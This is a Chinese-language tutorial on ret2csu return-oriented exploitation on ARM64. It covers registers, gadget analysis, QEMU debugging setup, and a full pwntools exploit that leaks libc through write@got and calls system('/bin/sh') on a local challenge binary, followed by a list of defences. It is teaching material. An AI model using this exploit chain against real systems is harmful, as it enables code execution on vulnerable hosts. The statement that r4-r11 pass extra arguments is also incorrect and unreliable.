ARM架构下ret2csu利用
字数 1512 2025-08-23 18:31:08

ARM架构下ret2csu利用技术详解

一、ARM架构基础知识

1.1 ARM寄存器介绍

ARM架构与x86架构在寄存器使用上有显著差异:

  • 参数传递寄存器

    • r0-r3:前四个参数按顺序存储
    • r4-r11:当参数超过四个时,额外参数存储在这些寄存器中
  • 特殊功能寄存器

    • r12 (IP):过程调用临时寄存器
    • r13 (SP):堆栈指针
    • r14 (LR):链接寄存器,保存返回地址
    • r15 (PC):程序计数器

1.2 ARM与x86寄存器对比

寄存器类型 ARM架构 x86架构
通用寄存器 R0-R12 (13个) EAX,EBX等(8个)
栈指针 SP(R13)专用 ESP(通用寄存器充当)
程序计数器 PC(R15)专用 EIP(通用寄存器充当)

1.3 常见ARM汇编指令

数据处理指令

  • MOV:数据传送
  • ADD/SUB/MUL/DIV:算术运算
  • AND/ORR/EOR/BIC:位操作
  • LSL/LSR/ASR/ROR:移位操作

分支和跳转指令

  • B:无条件分支
  • BL:带链接的分支(函数调用)
  • BEQ/BNE等:条件分支
  • BX:分支并切换指令集

访存指令

  • LDR:从内存加载
  • STR:存储到内存
  • LDM/STM:多寄存器加载/存储

二、ret2csu技术原理

2.1 关键gadget分析

gadget1 (通常位于.init段)

LDP X19, X20, [SP, #var_s10]
LDP X21, X22, [SP, #var_s20] 
LDP X23, X24, [SP, #var_s30]
LDP X29, X30, [SP + var_s0], #0x40
RET
  • LDP指令:加载一对寄存器
    • 例如LDP X19, X20, [SP,#var_s10]将SP+var_s10地址内容给X19,SP+var_s10+0x8给X20
  • 最后一条LDP会修改SP指针(增加0x40字节)
  • RET指令返回到X30(LR)寄存器保存的地址

gadget2 (通常位于.init段)

LDR X3, [X21, X19, LSL #3]
MOV X2, X24
ADD X19, X19, #1
MOV X1, X23
MOV W0, W22
BLR X3
CMP X20, X19
B.NE loc_4007F0
  • LDR X3, [X21,X19,LSL#3]:X19左移3位加上X21的值赋给X3
  • BLR X3:跳转到X3地址,并将下条指令地址存入X30
  • 前四个参数通过X0-X3传递

三、环境搭建

3.1 基础工具安装

# 安装QEMU
sudo apt install qemu-system qemu-user

# 安装ARM64动态链接库
apt search "libc6-" | grep "AARCH64"
sudo apt install libc6-arm64-cross

# 安装多架构GDB
sudo apt install gdb-multiarch

3.2 交叉编译环境

  1. 下载ARM官方工具链
  2. 解压并配置环境变量:
xz -d gcc-arm-10.3-2021.07-aarch64-arm-none-linux-gnueabihf.tar.xz
tar -xvf gcc-arm-10.3-2021.07-aarch64-arm-none-linux-gnueabihf.tar
echo 'export PATH=$PATH:/path/to/gcc-arm/bin' >> ~/.bashrc
source ~/.bashrc

3.3 调试环境配置

from pwn import *
import os

context.arch = 'arm64'

def dbg():
    os.system('gnome-terminal -x sh -c "gdb-multiarch pwn -ex \'target remote 127.0.0.1:7000\'"')

p = process(['qemu-aarch64', '-g', '7000', '-L', '/usr/aarch64-linux-gnu/', './pwn'])
libc = ELF('/usr/aarch64-linux-gnu/lib/libc.so.6')

四、利用实战

4.1 利用步骤

  1. 泄露libc地址

    • 构造write(1, write@got.plt, 0x8)调用
    • 从返回数据计算libc基址
  2. 读入shellcode

    • 构造read(0, bss+0x100, 0x20)调用
    • 发送system地址和"/bin/sh"字符串
  3. 执行system

    • 构造system('/bin/sh')调用

4.2 完整利用代码

from pwn import *
import os

context(os="linux", arch='aarch64', log_level='debug')

# 调试函数
def dbg():
    os.system('gnome-terminal -x sh -c "gdb-multiarch pwn -ex \'target remote 127.0.0.1:7010\'"')

# 初始化
p = process(['qemu-aarch64', '-g', '7010', '-L', '/usr/aarch64-linux-gnu/', './pwn'])
elf = ELF("./pwn")
libc = ELF('/usr/aarch64-linux-gnu/lib/libc.so.6')

# Gadget地址
g1 = 0x400810
g2 = 0x4007F0
main = 0x40076c
bss1 = 0x0411140  # bss+0x100

# 第一阶段: leak libc
pl = b'a'*0x88 + p64(g1)
pl += p64(main) + p64(0x100000000)
pl += p64(0) + p64(g2)
pl += p64(0) + p64(1)
pl += p64(elf.got['write']) + p64(1)
pl += p64(elf.got['write']) + p64(0x8)
pl += p64(0) + p64(main)
p.sendlineafter('Hello, World\n', pl)

write_addr = u64(p.recv(6).ljust(8, b'\x00'))
libcbase = write_addr - libc.sym['write']
system = libcbase + libc.sym['system']

# 第二阶段: read shellcode
pl = b'a'*0x88 + p64(g1)
pl += p64(main) + p64(0x100000000)
pl += p64(0) + p64(g2)
pl += p64(0) + p64(1)
pl += p64(elf.got['read']) + p64(0)
pl += p64(bss1) + p64(0x20)
pl += p64(0) + p64(main)
p.sendlineafter('Hello, World\n', pl)
p.sendline(p64(system) + b'/bin/sh\x00')

# 第三阶段: execute system
pl = b'a'*0x88 + p64(g1)
pl += p64(main) + p64(0x100000000)
pl += p64(0) + p64(g2)
pl += p64(0) + p64(1)
pl += p64(bss1) + p64(bss1+8)
pl += p64(0) + p64(0)
pl += p64(0) + p64(main)
p.sendlineafter('Hello, World\n', pl)

p.interactive()

五、关键点总结

  1. 栈布局控制

    • 需要精确控制SP指针的变化
    • 通过padding和gadget1的SP调整实现栈迁移
  2. 寄存器控制

    • 利用gadget1设置X19-X24寄存器
    • 通过gadget2实现函数调用和参数传递
  3. 链式利用

    • 通过多次ret2csu实现连续的函数调用
    • 每次调用后返回main函数重新开始
  4. 调试技巧

    • 使用QEMU的-g参数开启调试端口
    • 结合gdb-multiarch进行动态调试
    • 注意ARM架构下的指令对齐问题

六、防御措施

  1. 代码保护

    • 启用PIE使地址随机化
    • 使用stack canary检测栈溢出
  2. 编译器选项

    • -fno-plt减少PLT表暴露
    • -Wl,-z,now启用立即绑定
  3. 运行时保护

    • 启用ASLR增加地址随机性
    • 限制敏感函数调用
ARM架构下ret2csu利用技术详解 一、ARM架构基础知识 1.1 ARM寄存器介绍 ARM架构与x86架构在寄存器使用上有显著差异: 参数传递寄存器 : r0-r3:前四个参数按顺序存储 r4-r11:当参数超过四个时,额外参数存储在这些寄存器中 特殊功能寄存器 : r12 (IP):过程调用临时寄存器 r13 (SP):堆栈指针 r14 (LR):链接寄存器,保存返回地址 r15 (PC):程序计数器 1.2 ARM与x86寄存器对比 | 寄存器类型 | ARM架构 | x86架构 | |------------|---------|---------| | 通用寄存器 | R0-R12 (13个) | EAX,EBX等(8个) | | 栈指针 | SP(R13)专用 | ESP(通用寄存器充当) | | 程序计数器 | PC(R15)专用 | EIP(通用寄存器充当) | 1.3 常见ARM汇编指令 数据处理指令 MOV :数据传送 ADD / SUB / MUL / DIV :算术运算 AND / ORR / EOR / BIC :位操作 LSL / LSR / ASR / ROR :移位操作 分支和跳转指令 B :无条件分支 BL :带链接的分支(函数调用) BEQ / BNE 等:条件分支 BX :分支并切换指令集 访存指令 LDR :从内存加载 STR :存储到内存 LDM / STM :多寄存器加载/存储 二、ret2csu技术原理 2.1 关键gadget分析 gadget1 (通常位于.init段) LDP 指令:加载一对寄存器 例如 LDP X19, X20, [SP,#var_s10] 将SP+var_ s10地址内容给X19,SP+var_ s10+0x8给X20 最后一条 LDP 会修改SP指针(增加0x40字节) RET 指令返回到X30(LR)寄存器保存的地址 gadget2 (通常位于.init段) LDR X3, [X21,X19,LSL#3] :X19左移3位加上X21的值赋给X3 BLR X3 :跳转到X3地址,并将下条指令地址存入X30 前四个参数通过X0-X3传递 三、环境搭建 3.1 基础工具安装 3.2 交叉编译环境 下载ARM官方工具链 解压并配置环境变量: 3.3 调试环境配置 四、利用实战 4.1 利用步骤 泄露libc地址 : 构造 write(1, write@got.plt, 0x8) 调用 从返回数据计算libc基址 读入shellcode : 构造 read(0, bss+0x100, 0x20) 调用 发送system地址和"/bin/sh"字符串 执行system : 构造 system('/bin/sh') 调用 4.2 完整利用代码 五、关键点总结 栈布局控制 : 需要精确控制SP指针的变化 通过padding和gadget1的SP调整实现栈迁移 寄存器控制 : 利用gadget1设置X19-X24寄存器 通过gadget2实现函数调用和参数传递 链式利用 : 通过多次ret2csu实现连续的函数调用 每次调用后返回main函数重新开始 调试技巧 : 使用QEMU的-g参数开启调试端口 结合gdb-multiarch进行动态调试 注意ARM架构下的指令对齐问题 六、防御措施 代码保护 : 启用PIE使地址随机化 使用stack canary检测栈溢出 编译器选项 : -fno-plt减少PLT表暴露 -Wl,-z,now启用立即绑定 运行时保护 : 启用ASLR增加地址随机性 限制敏感函数调用